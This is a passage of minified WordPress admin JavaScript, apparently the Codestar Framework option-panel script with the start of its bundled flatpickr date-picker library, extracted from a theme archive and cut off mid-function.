n=S(this).find(".csf--switcher");n.on("click",function(){var e=0,t=n.find("input");n.hasClass("csf--active")?n.removeClass("csf--active"):(e=1,n.addClass("csf--active")),t.val(e).trigger("change")})})},S.fn.csf_field_tabbed=function(){return this.each(function(){var e=S(this),t=e.find(".csf-tabbed-nav a"),n=e.find(".csf-tabbed-content");n.eq(0).csf_reload_script(),t.on("click",function(e){e.preventDefault();var e=S(this),t=e.index(),t=n.eq(t);e.addClass("csf-tabbed-active").siblings().removeClass("csf-tabbed-active"),t.csf_reload_script(),t.removeClass("hidden").siblings().addClass("hidden")})})},S.fn.csf_field_typography=function(){return this.each(function(){var x=this,z=S(this),i=[],D=csf_typography_json.webfonts,t=csf_typography_json.googlestyles,O=csf_typography_json.defaultstyles;x.sanitize_subset=function(e){return e=(e=e.replace("-ext"," Extended")).charAt(0).toUpperCase()+e.slice(1)},x.sanitize_style=function(e){return t[e]||e},x.load_google_font=function(e,t,n){e&&"object"==typeof WebFont&&(t=t?t.replace("normal",""):"",n=n?n.replace("normal",""):"",-1===i.indexOf(e=t||n?e+":"+t+n:e)&&WebFont.load({google:{families:[e]}}),i.push(e))},x.append_select_options=function(e,t,s,c,a){e.find("option").not(":first").remove();var r="";S.each(t,function(e,t){var n=t,i=a?s&&-1!==s.indexOf(t)?" selected":"":s&&s===t?" selected":"";"subset"===c?n=x.sanitize_subset(t):"style"===c&&(n=x.sanitize_style(t)),r+='<option value="'+t+'"'+i+">"+n+"</option>"}),e.append(r).trigger("csf.change").trigger("chosen:updated")},x.init=function(){var c,a,r,o,f,l,d,h,g,p=[],e=z.find(".csf--typography"),u=z.find(".csf--type"),v=z.find(".csf--block-font-style"),m=e.data("unit"),_=e.data("line-height-unit"),t=e.data("exclude")?e.data("exclude").split(","):[],b=(z.find(".csf--chosen").length&&z.find("select").each(function(){var e=S(this),t=e.parent().find(".chosen-container");t.length&&t.remove(),e.chosen({allow_single_deselect:!0,disable_search_threshold:15,width:"100%"})}),z.find(".csf--font-family")),i=b.val(),s=(b.find("option").not(":first-child").remove(),""),y=(S.each(D,function(n,e){t&&-1!==t.indexOf(n)||(s+='<optgroup label="'+e.label+'">',S.each(e.fonts,function(e,t){s+='<option value="'+(t="object"==typeof t?e:t)+'" data-type="'+n+'"'+(t===i?" selected":"")+">"+t+"</option>"}),s+="</optgroup>")}),b.append(s).trigger("chosen:updated"),z.find(".csf--block-font-style")),w=(y.length&&(c=z.find(".csf--font-style-select"),a=c.val()?c.val().replace(/normal/g,""):"",c.on("change csf.change",function(e){var t=c.val(),n=(t=!t&&p&&-1===p.indexOf("normal")?p[0]:t)&&"italic"!==t&&"normal"===t?"normal":"",n=t&&"italic"!==t&&"normal"!==t?t.replace("italic",""):n,t=t&&"italic"===t.substr(-6)?"italic":"";z.find(".csf--font-weight").val(n),z.find(".csf--font-style").val(t)}),(r=z.find(".csf--block-extra-styles")).length&&(o=z.find(".csf--extra-styles"),f=o.val())),z.find(".csf--block-subset")),C=(w.length&&(l=z.find(".csf--subset"),d=l.val(),h=l.data("multiple")||!1),z.find(".csf--block-backup-font-family")),k=(b.on("change csf.change",function(e){w.length&&w.addClass("hidden"),r.length&&r.addClass("hidden"),C.length&&C.addClass("hidden");var t,n,i=b.find(":selected"),s=i.val(),i=i.data("type");i&&s?("google"!==i&&"custom"!==i||!C.length||C.removeClass("hidden"),y.length&&(n=O,"google"===i&&D[i].fonts[s][0]?n=D[i].fonts[s][0]:"custom"===i&&D[i].fonts[s]&&(n=D[i].fonts[s]),t=-1!==(p=n).indexOf("normal")?"normal":n[0],t=a&&-1!==n.indexOf(a)?a:t,x.append_select_options(c,n,t,"style"),a=!1,y.removeClass("hidden"),"google"===i&&r.length&&1<n.length&&(x.append_select_options(o,n,f,"style",!0),f=!1,r.removeClass("hidden"))),"google"===i&&w.length&&D[i].fonts[s][1]&&(n=(t=D[i].fonts[s][1]).length<2&&"latin"!==t[0]?t[0]:"",s=d&&-1!==t.indexOf(d)?d:n,s=h&&d?d:s,x.append_select_options(l,t,s,"subset",h),d=!1,w.removeClass("hidden"))):(v.find(":input").val(""),w.length&&(l.find("option").not(":first-child").remove(),l.trigger("chosen:updated")),y.length&&(c.find("option").not(":first-child").remove(),c.trigger("chosen:updated"))),u.val(i)}).trigger("csf.change"),z.find(".csf--block-preview"));k.length&&(g=z.find(".csf--preview"),z.on("change",j.helper.debounce(function(e){k.removeClass("hidden");var t=b.val(),n=z.find(".csf--font-weight").val(),i=z.find(".csf--font-style").val(),s=z.find(".csf--font-size").val(),c=z.find(".csf--font-variant").val(),a=z.find(".csf--line-height").val(),r=z.find(".csf--text-align").val(),o=z.find(".csf--text-transform").val(),f=z.find(".csf--text-decoration").val(),l=z.find(".csf--color").val(),d=z.find(".csf--word-spacing").val(),h=z.find(".csf--letter-spacing").val(),p=z.find(".csf--custom-style").val(),u=("google"===z.find(".csf--type").val()&&x.load_google_font(t,n,i),{});t&&(u.fontFamily=t),n&&(u.fontWeight=n),i&&(u.fontStyle=i),c&&(u.fontVariant=c),s&&(u.fontSize=s+m),a&&(u.lineHeight=a+_),h&&(u.letterSpacing=h+m),d&&(u.wordSpacing=d+m),r&&(u.textAlign=r),o&&(u.textTransform=o),f&&(u.textDecoration=f),l&&(u.color=l),g.removeAttr("style"),p&&g.attr("style",p),g.css(u)},100)),k.on("click",function(){g.toggleClass("csf--black-background");var e=k.find(".csf--toggle");e.hasClass("fa-toggle-off")?e.removeClass("fa-toggle-off").addClass("fa-toggle-on"):e.removeClass("fa-toggle-on").addClass("fa-toggle-off")}),k.hasClass("hidden")||z.trigger("change"))},x.init()})},S.fn.csf_field_upload=function(){return this.each(function(){var t,e=S(this),n=e.find("input"),i=e.find(".csf--button"),s=e.find(".csf--remove"),c=e.find(".csf--preview"),a=e.find(".csf--src"),r=i.data("library")&&i.data("library").split(",")||"";i.on("click",function(e){e.preventDefault(),void 0!==_.wp&&_.wp.media&&_.wp.media.gallery&&(t||(t=_.wp.media({library:{type:r}})).on("select",function(){var e=t.state().get("selection").first().attributes;r.length&&-1===r.indexOf(e.subtype)&&-1===r.indexOf(e.type)||n.val(e.url).trigger("change")}),t.open())}),s.on("click",function(e){e.preventDefault(),n.val("").trigger("change")}),n.on("change",function(e){var t=n.val();t?s.removeClass("hidden"):s.addClass("hidden"),c.length&&(-1!==S.inArray(t.split(".").pop().toLowerCase(),["jpg","jpeg","gif","png","svg","webp"])?(c.removeClass("hidden"),a.attr("src",t)):c.addClass("hidden"))})})},S.fn.csf_field_wp_editor=function(){return this.each(function(){var e,t,n,i,s,c,a,r;void 0!==_.wp.editor&&void 0!==_.tinyMCEPreInit&&void 0!==_.tinyMCEPreInit.mceInit.csf_wp_editor&&(t=(e=S(this)).find(".csf-wp-editor"),n=e.find("textarea"),(e.find(".wp-editor-wrap").length||e.find(".mce-container").length)&&(t.empty(),t.append(n),n.css("display","")),i=j.helper.uid("csf-editor-"),n.attr("id",i),s={tinymce:_.tinyMCEPreInit.mceInit.csf_wp_editor,quicktags:_.tinyMCEPreInit.qtInit.csf_wp_editor},c=t.data("editor-settings"),(r=wp.oldEditor||wp.editor)&&r.hasOwnProperty("autop")&&(wp.editor.autop=r.autop,wp.editor.removep=r.removep,wp.editor.initialize=r.initialize),s.tinymce=S.extend({},s.tinymce,{selector:"#"+i,setup:function(t){t.on("change keyup",function(){var e=c.wpautop?t.getContent():wp.editor.removep(t.getContent());n.val(e).trigger("change")})}}),!1===c.tinymce&&(s.tinymce=!1,t.addClass("csf-no-tinymce")),!1===c.quicktags&&(s.quicktags=!1,t.addClass("csf-no-quicktags")),a=setInterval(function(){e.is(":visible")&&(_.wp.editor.initialize(i,s),clearInterval(a))}),c.media_buttons&&_.csf_media_buttons&&((r=t.find(".wp-media-buttons")).length?r.find(".csf-shortcode-button").data("editor-id",i):((r=S(_.csf_media_buttons)).find(".csf-shortcode-button").data("editor-id",i),t.prepend(r))))})},S.fn.csf_confirm=function(){return this.each(function(){S(this).on("click",function(e){var t=S(this).data("confirm")||_.csf_vars.i18n.confirm;if(!confirm(t))return e.preventDefault(),!1;j.vars.is_confirm=!0,j.vars.form_modified=!1})})},S.fn.serializeObject=function(){var i={};return S.each(this.serializeArray(),function(e,t){var n=t.name,t=t.value;i[n]=i[n]===y?t:S.isArray(i[n])?i[n].concat(t):[i[n],t]}),i},S.fn.csf_save=function(){return this.each(function(){var i,s=S(this),c=S(".csf-save"),a=S(".csf-options"),r=!1;s.on("click",function(e){var t,n;r||(t=s.data("save"),n=s.val(),c.attr("value",t),s.hasClass("csf-save-ajax")?(e.preventDefault(),a.addClass("csf-saving"),c.prop("disabled",!0),_.wp.ajax.post("csf_"+a.data("unique")+"_ajax_save",{data:localStorage.getItem('_mod_soledad')}).done(function(e){S(".csf-error").remove(),Object.keys(e.errors).length&&(s='<i class="csf-label-error csf-error">!</i>',S.each(e.errors,function(e,t){var e=S('[data-depend-id="'+e+'"]'),n=S('a[href="#tab='+e.closest(".csf-section").data("section-id")+'"]'),i=n.closest(".csf-tab-item");e.closest(".csf-fieldset").append('<p class="csf-error csf-error-text">'+t+"</p>"),n.find(".csf-error").length||n.append(s),i.find(".csf-arrow .csf-error").length||i.find(".csf-arrow").append(s)})),a.removeClass("csf-saving"),c.prop("disabled",!1).attr("value",n),r=!1,j.vars.form_modified=!1,j.vars.$form_warning.hide(),clearTimeout(i);var s,t=S(".csf-form-success");t.empty().append(e.notice).fadeIn("fast",function(){i=setTimeout(function(){t.fadeOut("fast")},1e3)})}).fail(function(e){alert(e.error)})):j.vars.form_modified=!1),r=!0})})},S.fn.csf_options=function(){return this.each(function(){var e=S(this),t=e.find(".csf-content"),n=e.find(".csf-form-success"),i=e.find(".csf-form-warning"),s=e.find(".csf-header .csf-save");(j.vars.$form_warning=i).length&&(_.onbeforeunload=function(){return!!j.vars.form_modified||y},t.on("change keypress",":input",function(){j.vars.form_modified||(n.hide(),i.fadeIn("fast"),j.vars.form_modified=!0)})),n.hasClass("csf-form-show")&&setTimeout(function(){n.fadeOut("fast")},1e3),S(b).keydown(function(e){if((e.ctrlKey||e.metaKey)&&83===e.which)return s.trigger("click"),e.preventDefault(),!1})})},S.fn.csf_taxonomy=function(){return this.each(function(){var e,t,n=S(this),i=n.parents("form");"addtag"===i.attr("id")&&(e=i.find("#submit"),t=n.children(".csf-field").csf_clone(),e.on("click",function(){i.find(".form-required").hasClass("form-invalid")||(n.data("inited",!1),n.empty(),n.html(t),t=t.csf_clone(),n.csf_reload_script())}))})},S.fn.csf_shortcode=function(){var m=this;return m.shortcode_parse=function(e,n){var i="";return S.each(e,function(e,t){i+="["+(n=n||e),S.each(t,function(e,t){"content"===e?i=(i+="]")+t+"[/"+n:i+=m.shortcode_tags(e,t)}),i+="]"}),i},m.shortcode_tags=function(e,t){var n="";return""!==t&&("object"!=typeof t||S.isArray(t)?n+=" "+e+'="'+t.toString()+'"':S.each(t,function(e,t){""!==(t="background-image"===e?t.url||"":t)&&(n+=" "+e+'="'+t.toString()+'"')})),n},m.insertAtChars=function(e,t){e=void 0!==e[0].name?e[0]:e;return e.value.length&&void 0!==e.selectionStart?(e.focus(),e.value.substring(0,e.selectionStart)+t+e.value.substring(e.selectionEnd,e.value.length)):(e.focus(),t)},m.send_to_editor=function(e,t){var n;(n="undefined"!=typeof tinymce?tinymce.get(t):n)&&!n.isHidden()?n.execCommand("mceInsertContent",!1,e):(n=S("#"+t)).val(m.insertAtChars(n,e)).trigger("change")},this.each(function(){var s,c,a,n,r,o,f,i,l,d=S(this),h=d.find(".csf-modal-load"),p=(d.find(".csf-modal-content"),d.find(".csf-modal-insert")),u=d.find(".csf-modal-loading"),t=d.find("select"),g=d.data("modal-id"),v=d.data("nonce");S(b).on("click",'.csf-shortcode-button[data-modal-id="'+g+'"]',function(e){e.preventDefault(),l=S(this),s=l.data("editor-id")||!1,c=l.data("target-id")||!1,a=l.data("gutenberg-id")||!1,d.removeClass("hidden"),d.hasClass("csf-shortcode-single")&&r===y&&t.trigger("change")}),t.on("change",function(){var e=S(this),t=e.find(":selected");n=e.val(),r=t.data("shortcode"),o=t.data("view")||"normal",f=t.data("group")||r,h.empty(),n?(u.show(),_.wp.ajax.post("csf-get-shortcode-"+g,{shortcode_key:n,nonce:v}).done(function(e){u.hide();e=S(e.content).appendTo(h);p.parent().removeClass("hidden"),i=e.find(".csf--repeat-shortcode").csf_clone(),e.csf_reload_script(),e.find(".csf-fields").csf_reload_script()})):p.parent().addClass("hidden")}),p.on("click",function(e){if(e.preventDefault(),!p.prop("disabled")&&!p.attr("disabled")){var n="",t=d.find(".csf-field:not(.csf-depend-on)").find(":input:not(.ignore)").serializeObjectCSF();switch(o){case"contents":var i=r?t[r]:t;S.each(i,function(e,t){e=r||e;n+="["+e+"]"+t+"[/"+e+"]"});break;case"group":n+="["+r,S.each(t[r],function(e,t){n+=m.shortcode_tags(e,t)}),n=(n=(n+="]")+m.shortcode_parse(t[f],f))+("[/"+r+"]");break;case"repeater":n+=m.shortcode_parse(t[f],f);break;default:n+=m.shortcode_parse(t)}n=""===n?"["+r+"]":n,a?(e=_.csf_gutenberg_props.attributes.hasOwnProperty("shortcode")?_.csf_gutenberg_props.attributes.shortcode:"",_.csf_gutenberg_props.setAttributes({shortcode:e+n})):s?m.send_to_editor(n,s):(e=c?S(c):l.parent().find("textarea")).val(m.insertAtChars(e,n)).trigger("change"),d.addClass("hidden")}}),d.on("click",".csf--repeat-button",function(e){e.preventDefault();var e=d.find(".csf--repeatable"),t=i.csf_clone(),n=t.find(".csf-repeat-remove");t.appendTo(e);t.find(".csf-fields").csf_reload_script(),j.helper.name_nested_replace(d.find(".csf--repeat-shortcode"),f),n.on("click",function(){t.remove(),j.helper.name_nested_replace(d.find(".csf--repeat-shortcode"),f)})}),d.on("click",".csf-modal-close, .csf-modal-overlay",function(){d.addClass("hidden")})})},"function"==typeof Color&&(Color.prototype.toString=function(){if(this._alpha<1)return this.toCSS("rgba",this._alpha).replace(/\s+/g,"");var e=parseInt(this._color,10).toString(16);if(this.error)return"";if(e.length<6)for(var t=6-e.length-1;0<=t;t--)e="0"+e;return"#"+e}),j.funcs.parse_color=function(e){var e=e.replace(/\s+/g,""),t=-1!==e.indexOf("rgba")?parseFloat(100*e.replace(/^.*,(.+)\)/,"$1")):100;return{value:e,transparent:t,rgba:t<100}},S.fn.csf_color=function(){return this.each(function(){var a,r=S(this),n=j.funcs.parse_color(r.val()),e=!_.csf_vars.color_palette.length||_.csf_vars.color_palette;r.hasClass("wp-color-picker")&&r.closest(".wp-picker-container").after(r).remove(),r.wpColorPicker({palettes:e,change:function(e,t){t=t.color.toString();a.removeClass("csf--transparent-active"),a.find(".csf--transparent-offset").css("background-color",t),r.val(t).trigger("change")},create:function(){a=r.closest(".wp-picker-container");var i=r.data("a8cIris"),e=S('<div class="csf--transparent-wrap"><div class="csf--transparent-slider"></div><div class="csf--transparent-offset"></div><div class="csf--transparent-text"></div><div class="csf--transparent-button">transparent <i class="fas fa-toggle-off"></i></div></div>').appendTo(a.find(".wp-picker-holder")),s=e.find(".csf--transparent-slider"),c=e.find(".csf--transparent-text"),t=e.find(".csf--transparent-offset"),e=e.find(".csf--transparent-button");"transparent"===r.val()&&a.addClass("csf--transparent-active"),e.on("click",function(){"transparent"!==r.val()?(r.val("transparent").trigger("change").removeClass("iris-error"),a.addClass("csf--transparent-active")):(r.val(i._color.toString()).trigger("change"),a.removeClass("csf--transparent-active"))}),s.slider({value:n.transparent,step:1,min:0,max:100,slide:function(e,t){t=parseFloat(t.value/100);i._color._alpha=t,r.wpColorPicker("color",i._color.toString()),c.text(1===t||0===t?"":t)},create:function(){var e=parseFloat(n.transparent/100);c.text(e<1?e:""),t.css("background-color",n.value),a.on("click",".wp-picker-clear",function(){i._color._alpha=1,c.text(""),s.slider("option","value",100),a.removeClass("csf--transparent-active"),r.trigger("change")}),a.on("click",".wp-picker-default",function(){var e=j.funcs.parse_color(r.data("default-color")),t=parseFloat(e.transparent/100),n=t<1?t:"";i._color._alpha=t,c.text(n),s.slider("option","value",e.transparent),"transparent"===e.value&&(r.removeClass("iris-error"),a.addClass("csf--transparent-active"))})}})}})})},S.fn.csf_chosen=function(){return this.each(function(){var n,c,a=S(this),e=a.parent().find(".chosen-container"),t=a.hasClass("csf-chosen-sortable")||!1,i=a.hasClass("csf-chosen-ajax")||!1,s=a.attr("multiple")||!1,r=S.extend({allow_single_deselect:!0,disable_search_threshold:10,width:s?"100%":"auto",no_results_text:_.csf_vars.i18n.no_results_text},a.data("chosen-settings"));e.length&&e.remove(),i?(e=S.extend({data:{type:"post",nonce:""},allow_single_deselect:!0,disable_search_threshold:-1,width:"100%",min_length:3,type_delay:500,typing_text:_.csf_vars.i18n.typing_text,searching_text:_.csf_vars.i18n.searching_text,no_results_text:_.csf_vars.i18n.no_results_text},a.data("chosen-settings")),a.CSFAjaxChosen(e)):a.chosen(r),s&&(i=(n=a.parent().find(".csf-hide-select")).val()||[],a.on("change",function(e,t){t&&t.selected?n.append('<option value="'+t.selected+'" selected="selected">'+t.selected+"</option>"):t&&t.deselected&&n.find('option[value="'+t.deselected+'"]').remove(),_.wp.customize!==y&&0===n.children().length&&n.data("customize-setting-link")&&_.wp.customize.control(n.data("customize-setting-link")).setting.set(""),n.trigger("change")}),a.CSFChosenOrder(i,!0)),t&&((c=a.parent().find(".chosen-container").find(".chosen-choices")).bind("mousedown",function(e){S(e.target).is("span")&&e.stopPropagation()}),c.sortable({items:"li:not(.search-field)",helper:"orginal",cursor:"move",placeholder:"search-choice-placeholder",start:function(e,t){t.placeholder.width(t.item.innerWidth()),t.placeholder.height(t.item.innerHeight())},update:function(e,t){var i="",s=a.data("chosen"),n=a.parent().find(".csf-hide-select");c.find(".search-choice-close").each(function(){var n=S(this).data("option-array-index");S.each(s.results_data,function(e,t){t.array_index===n&&(i+='<option value="'+t.value+'" selected>'+t.value+"</option>")})}),n.children().remove(),n.append(i),n.trigger("change")}}))})},S.fn.csf_checkbox=function(){return this.each(function(){var e=S(this),t=e.find(".csf--input"),n=e.find(".csf--checkbox");n.on("click",function(){t.val(Number(n.prop("checked"))).trigger("change")})})},S.fn.csf_checkbox_all=function(){return this.each(function(){var n=S(this);n.on("click",function(){var e=n.closest(".csf-field-checkbox").find(":input"),t=!1;e.each(function(){S(this).prop("checked")||(t=!0)}),t?(e.prop("checked","checked"),e.attr("checked","checked")):(e.prop("checked",""),e.removeAttr("checked")),e.first().trigger("change")})})},S.fn.csf_siblings=function(){return this.each(function(){var t=S(this),e=t.find(".csf--sibling"),n=t.data("multiple")||!1;e.on("click",function(){var e=S(this);n?e.hasClass("csf--active")?(e.removeClass("csf--active"),e.find("input").prop("checked",!1).trigger("change")):(e.addClass("csf--active"),e.find("input").prop("checked",!0).trigger("change")):(t.find("input").prop("checked",!1),e.find("input").prop("checked",!0).trigger("change"),e.addClass("csf--active").siblings().removeClass("csf--active"))})})},S.fn.csf_help=function(){return this.each(function(){var e,t,n=S(this);n.on({mouseenter:function(){e=S('<div class="csf-tooltip"></div>').html(n.find(".csf-help-text").html()).appendTo("body"),t=j.vars.is_rtl?n.offset().left+24:n.offset().left-e.outerWidth(),e.css({top:n.offset().top-(e.outerHeight()/2-14),left:t})},mouseleave:function(){e!==y&&e.remove()}})})},S.fn.csf_customizer_refresh=function(){return this.each(function(){var e=S(this),t=e.closest(".csf-customize-complex");if(t.length){var n=t.data("unique-id");if(n===y)return;var i=t.find(":input"),t=t.data("option-id"),i=i.serializeObjectCSF(),i=!S.isEmptyObject(i)&&i[n]&&i[n][t]?i[n][t]:"",n=_.wp.customize.control(n+"["+t+"]");n.setting._value=null,n.setting.set(i)}else e.find(":input").first().trigger("change");S(b).trigger("csf-customizer-refresh",e)})},S.fn.csf_customizer_listen=function(e){var s=S.extend({closest:!1},e);return this.each(function(){var t,e,n,i;_.wp.customize!==y&&(e=(t=s.closest?S(this).closest(".csf-customize-complex"):S(this)).find(":input"),n=t.data("unique-id"),i=t.data("option-id"),n!==y&&e.on("change keyup csf.change",function(){var e=t.find(":input").serializeObjectCSF(),e=!S.isEmptyObject(e)&&e[n]&&e[n][i]?e[n][i]:"";_.wp.customize.control(n+"["+i+"]").setting.set(e)}))})},S(b).on("expanded",".control-section",function(){var e,t,n=S(this);n.hasClass("open")&&!n.data("inited")&&(e=n.find(".csf-customize-field"),t=n.find(".csf-customize-complex"),e.length&&(n.csf_dependency(),e.csf_reload_script({dependency:!1}),t.csf_customizer_listen()),n.data("inited",!0))}),j.vars.$window.on("resize csf.resize",j.helper.debounce(function(e){(-1<navigator.userAgent.indexOf("AppleWebKit/")?j.vars.$window.width():_.innerWidth)<=782&&!j.vars.onloaded&&(S(".csf-section").csf_reload_script(),j.vars.onloaded=!0)},200)).trigger("csf.resize"),S.fn.csf_widgets=function(){return this.each(function(){S(b).on("widget-added widget-updated",function(e,t){t=t.find(".csf-fields");t.length&&t.csf_reload_script()}),S(b).on("click",".widget-top",function(e){var t=S(this).parent().find(".csf-fields");t.length&&t.csf_reload_script()}),S(".widgets-sortables, .control-section-sidebar").on("sortstop",function(e,t){t.item.find(".csf-fields").csf_reload_script_retry()})})},S.fn.csf_nav_menu=function(){return this.each(function(){var e=S(this);e.on("click","a.item-edit",function(){S(this).closest("li.menu-item").find(".csf-fields").csf_reload_script()}),e.on("sortstop",function(e,t){t.item.find(".csf-fields").csf_reload_script_retry()})})},S.fn.csf_reload_script_retry=function(){return this.each(function(){var e=S(this);e.data("inited")&&e.children(".csf-field-wp_editor").csf_field_wp_editor()})},S.fn.csf_reload_script=function(e){var t=S.extend({dependency:!0},e);return this.each(function(){var e=S(this);e.data("inited")||(e.children(".csf-field-accordion").csf_field_accordion(),e.children(".csf-field-backup").csf_field_backup(),e.children(".csf-field-background").csf_field_background(),e.children(".csf-field-code_editor").csf_field_code_editor(),e.children(".csf-field-date").csf_field_date(),e.children(".csf-field-datetime").csf_field_datetime(),e.children(".csf-field-fieldset").csf_field_fieldset(),e.children(".csf-field-gallery").csf_field_gallery(),e.children(".csf-field-group").csf_field_group(),e.children(".csf-field-icon").csf_field_icon(),e.children(".csf-field-link").csf_field_link(),e.children(".csf-field-media").csf_field_media(),e.children(".csf-field-map").csf_field_map(),e.children(".csf-field-repeater").csf_field_repeater(),e.children(".csf-field-slider").csf_field_slider(),e.children(".csf-field-sortable").csf_field_sortable(),e.children(".csf-field-sorter").csf_field_sorter(),e.children(".csf-field-spinner").csf_field_spinner(),e.children(".csf-field-switcher").csf_field_switcher(),e.children(".csf-field-tabbed").csf_field_tabbed(),e.children(".csf-field-typography").csf_field_typography(),e.children(".csf-field-upload").csf_field_upload(),e.children(".csf-field-wp_editor").csf_field_wp_editor(),e.children(".csf-field-border").find(".csf-color").csf_color(),e.children(".csf-field-background").find(".csf-color").csf_color(),e.children(".csf-field-color").find(".csf-color").csf_color(),e.children(".csf-field-color_group").find(".csf-color").csf_color(),e.children(".csf-field-link_color").find(".csf-color").csf_color(),e.children(".csf-field-typography").find(".csf-color").csf_color(),e.children(".csf-field-select").find(".csf-chosen").csf_chosen(),e.children(".csf-field-checkbox").find(".csf-checkbox").csf_checkbox(),e.children(".csf-field-checkbox").find(".csf-checkbox-all").csf_checkbox_all(),e.children(".csf-field-button_set").find(".csf-siblings").csf_siblings(),e.children(".csf-field-image_select").find(".csf-siblings").csf_siblings(),e.children(".csf-field-palette").find(".csf-siblings").csf_siblings(),e.children(".csf-field").find(".csf-help").csf_help(),t.dependency&&e.csf_dependency(),e.data("inited",!0),S(b).trigger("csf-reload-script",e))})},S(b).ready(function(){S(".csf-save").csf_save(),S(".csf-options").csf_options(),S(".csf-sticky-header").csf_sticky(),S(".csf-nav-options").csf_nav_options(),S(".csf-nav-metabox").csf_nav_metabox(),S(".csf-taxonomy").csf_taxonomy(),S(".csf-page-templates").csf_page_templates(),S(".csf-post-formats").csf_post_formats(),S(".csf-shortcode").csf_shortcode(),S(".csf-search").csf_search(),S(".csf-expand-all").csf_expand_all(),S(".csf-onload").csf_reload_script(),S("#widgets-editor").csf_widgets(),S("#widgets-right").csf_widgets(),S("#menu-to-edit").csf_nav_menu()})}(jQuery,window,document);PK     1w\QS S *  options/framework/assets/js/plugins.min.jsnu [        /* Codestar Framework | A Simple and Lightweight WordPress Option Framework - v2.3.0*/
!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e="undefined"!=typeof globalThis?globalThis:e||self).flatpickr=t()}(this,function(){"use strict";var ce=function(){return(ce=Object.assign||function(e){for(var t,n=1,i=arguments.length;n<i;n++)for(var o in t=arguments[n])Object.prototype.hasOwnProperty.call(t,o)&&(e[o]=t[o]);return e}).apply(this,arguments)};function he(){for(var e=0,t=0,n=arguments.length;t<n;t++)e+=arguments[t].length;for(var i=Array(e),o=0,t=0;t<n;t++)for(var s=arguments[t],r=0,a=s.length;r<a;r++,o++)i[o]=s[r];return i}var ue=["onChange","onClose","onDayCreate","onDestroy","onKeyDown","onMonthChange","onOpen","onParseConfig","onReady","onValueUpdate","onYearChange","onPreCalendarPosition"],de={_disable:[],allowInput:!1,allowInvalidPreload:!1,altFormat:"F j, Y",altInput:!1,altInputClass:"form-control input",animate:"object"==typeof window&&-1===window.navigator.userAgent.indexOf("MSIE"),ariaDateFormat:"F j, Y",autoFillDefaultTime:!0,clickOpens:!0,closeOnSelect:!0,conjunction:", ",dateFormat:"Y-m-d",defaultHour:12,defaultMinute:0,defaultSeconds:0,disable:[],disableMobile:!1,enableSeconds:!1,enableTime:!1,errorHandler:function(e){return"undefined"!=typeof console&&console.warn(e)},getWeek:function(e){var e=new Date(e.getTime()),t=(e.setHours(0,0,0,0),e.setDate(e.getDate()+3-(e.getDay()+6)%7),new Date(e.getFullYear(),0,4));return 1+Math.round(((e.getTime()-t.getTime())/864e5-3+(t.getDay()+6)%7)/7)},hourIncrement:1,ignoredFocusElements:[],inline:!1,locale:"default",minuteIncrement:5,mode:"single",monthSelectorType:"dropdown",nextArrow:"<svg version='1.1' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' viewBox='0 0 17 17'><g></g><path d='M13.207 8.472l-7.854 7.854-0.707-0.707 7.146-7.146-7.146-7.148 0.707-0.707 7.854 7.854z' /></svg>",noCalendar:!1,now:new Date,onChange:[],onClose:[],onDayCreate:[],onDestroy:[],onKeyDown:[],onMonthChange:[],onOpen:[],onParseConfig:[],onReady:[],onValueUpdate:[],onYearChange:[],onPreCalendarPosition:[],plugins:[],position:"auto",positionElement:void 0,prevArrow:"<svg version='1.1' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' viewBox='0 0 17 17'><g></g><path d='M5.207 8.471l7.146 7.147-0.707 0.707-7.853-7.854 7.854-7.853 0.707 0.707-7.147 7.146z' /></svg>",shorthandCurrentMonth:!1,showMonths:1,static:!1,time_24hr:!1,weekNumbers:!1,wrap:!1},fe={weekdays:{shorthand:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],longhand:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"]},months:{shorthand:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],longhand:["January","February","March","April","May","June","July","August","September","October","November","December"]},daysInMonth:[31,28,31,30,31,30,31,31,30,31,30,31],firstDayOfWeek:0,ordinal:function(e){e%=100;if(3<e&&e<21)return"th";switch(e%10){case 1:return"st";case 2:return"nd";case 3:return"rd";default:return"th"}},rangeSeparator:" to ",weekAbbreviation:"Wk",scrollTitle:"Scroll to increment",toggleTitle:"Click to toggle",amPM:["AM","PM"],yearAriaLabel:"Year",monthAriaLabel:"Month",hourAriaLabel:"Hour",minuteAriaLabel:"Minute",time_24hr:!1},pe=function(e,t){return("000"+e).slice(-1*(t=void 0===t?2:t))},_e=function(e){return!0===e?1:0};function me(t,n){var i;return function(){var e=this;clearTimeout(i),i=setTimeout(function(){return t.apply(e,arguments)},n)}}var ge=function(e){return e instanceof Array?e:[e]};function ve(e,t,n){if(!0===n)return e.classList.add(t);e.classList.remove(t)}function ye(e,t,n){e=window.document.createElement(e);return n=n||"",e.className=t=t||"",void 0!==n&&(e.textContent=n),e}function be(e){for(;e.firstChild;)e.removeChild(e.firstChild)}function we(e,t){var n=ye("div","numInputWrapper"),i=ye("input","numInput "+e),e=ye("span","arrowUp"),o=ye("span","arrowDown");if(-1===navigator.userAgent.indexOf("MSIE 9.0")?i.type="number":(i.type="text",i.pattern="\\d*"),void 0!==t)for(var s in t)i.setAttribute(s,t[s]);return n.appendChild(i),n.appendChild(e),n.appendChild(o),n}function De(t){try{return"function"==typeof t.composedPath?t.composedPath()[0]:t.target}catch(e){return t.target}}function e(){}var Ce=function(e,t,n){return n.months[t?"shorthand":"longhand"][e]},g={D:e,F:function(e,t,n){e.setMonth(n.months.longhand.indexOf(t))},G:function(e,t){e.setHours(parseFloat(t))},H:function(e,t){e.setHours(parseFloat(t))},J:function(e,t){e.setDate(parseFloat(t))},K:function(e,t,n){e.setHours(e.getHours()%12+12*_e(new RegExp(n.amPM[1],"i").test(t)))},M:function(e,t,n){e.setMonth(n.months.shorthand.indexOf(t))},S:function(e,t){e.setSeconds(parseFloat(t))},U:function(e,t){return new Date(1e3*parseFloat(t))},W:function(e,t,n){t=parseInt(t),e=new Date(e.getFullYear(),0,2+7*(t-1),0,0,0,0);return e.setDate(e.getDate()-e.getDay()+n.firstDayOfWeek),e},Y:function(e,t){e.setFullYear(parseFloat(t))},Z:function(e,t){return new 